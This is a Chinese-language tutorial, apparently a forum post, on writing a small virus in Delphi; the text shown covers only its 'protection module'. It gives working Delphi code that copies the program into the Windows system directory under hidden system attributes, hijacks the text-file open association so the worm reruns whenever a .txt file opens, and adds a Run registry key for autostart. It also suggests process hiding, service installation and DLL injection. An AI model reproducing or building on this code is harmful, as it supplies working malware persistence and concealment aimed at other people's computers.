前言:
可能大家想到病毒,第一反應就是可能是用asm來編寫,或者是vbsript,而高級語言如delphi就好象不能編寫一樣,其實事實並不是這個樣子的,只要我們花一些時間,照樣可以寫出簡短而高效的病毒程序來,一點也不輸那些用匯編寫出來的程序哦。
一個病毒程序首先要短小,我們的目標是經過壓縮後控制在30k以下。用過delphi的朋友都知道,如果在uses裡面加入forms,classes.....等就會使目標文件非常的大,所以,在我們的程序裡,我們要盡可能的不用這些庫。我們只用windows,winsock,shellapi,sysutils(這個裡面包含了一些常用的函數,比如對文件的操作,對字符串的操作,如果用自己的程序來代替,目標文件會更加的小)
首先,我們知道,一個病毒程序一般都分下面三個模塊:
①保護模塊;
②感染模塊;
③發作模塊。
下面我們就從這三個模塊開始,分別實現他們的代碼。
一)保護模塊。
一般,我們都是把自身拷貝到系統的一些目錄裡,比如%systemroot%。那麼,我們首先要取得這些特定的目錄的路徑sdk裡面給我們提供了一個這樣的函數GetSystemDirectory :
UINT GetSystemDirectory(
LPTSTR lpBuffer, // 存放返回的字符串的緩沖區
UINT uSize // 上面的緩沖去的長度
);
相關的函數還有GetWindowsDirectory可以得到%windows%的路徑
得到了系統的目錄後,第二步就是拷貝文件了。sdk為我們提供了一個函數copyfile :
BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件的路徑
LPCTSTR lpNewFileName, // 目標文件的路徑
BOOL bFailIfExists // 這是一個標志,如果目標文件已經存在,是否強制覆蓋
);
拷貝文件完畢後,我們來把這個文件設置為系統和隱藏,那麼一般情況是看不見該文件的,除非選取查看所有文件,以及顯示受保護文件。 同樣,介紹一個函數SetFileAttributes :
BOOL SetFileAttributes(
LPCTSTR lpFileName, // 需要設置的文件的文件名
DWORD dwFileAttributes // 設置的值。
);
我們這裡要設置為隱藏和系統,那麼就為第二個參數傳遞FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
下面就是最重要的,讓該文件開機自動運行,我們一般都是寫注冊表,首先用RegOpenKey函數來打開一個鍵。
LONG RegOpenKey(
HKEY hKey, // 主鍵,比如HKEY_LOCAL_MACHINE
LPCTSTR lpSubKey, // 跟隨的subkey
PHKEY phkResult // 存放函數返回這個打開的鍵的句柄
);
得到了HKEY後,就可以用regsetvalueex來向該鍵寫具體的值了。
LONG RegSetvalueEx(
HKEY hKey, // 這個就是剛才我們得到的句柄
LPCTSTR lpvalueName, // 鍵名的地址
DWORD Reserved, // 一般設置為0
DWORD dwType, // 我們寫的鍵的類型,字符串為REG_SZ
CONST BYTE *lpData, // 鍵值的地址
DWORD cbData // 寫入的鍵值的長度
);
下面,我綜合上面的說明來給出一個簡短的例子:
procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系統的路徑
s:=strpas(Path);
//轉換成字符串
CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false);
CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false);
//把自身拷貝到系統目錄下為ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//設置剛才的兩個文件為系統和隱藏
RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk);
value:=‘virus_ruin.exe %1‘;
RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件關聯
RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/Windows/CurrentVersion/Run‘,Hk);
value:=‘ruin.exe‘;
RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8);
//設置開機自動運行ruin.exe
end;
我們看上面的這個程序,就完成了自我復制,和開機自動運行,並且關聯了文本文件,這樣,如果run下的鍵被刪除,那麼他打開文本文件,蠕蟲文件又被激活。
不過這個樣子,你就需要在你的主程序裡面進行判斷,如果傳遞的參數等於1 ,則打開該文本,並且進行自我保護。
如:
begin
if paramcount=1 then
shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal);
//其他的代碼
這裡,我只是給出一個簡單的例子來描述出一個大概的思路,很多地方還不完善,比如進程的隱藏,你可以進行判斷,如果是98你可以registerserverapplication如果你是用的2000,你可以做為服務啟動,或者是插入dll,或者是用求職信的方法,開機加載一個dll,或者是win.ini。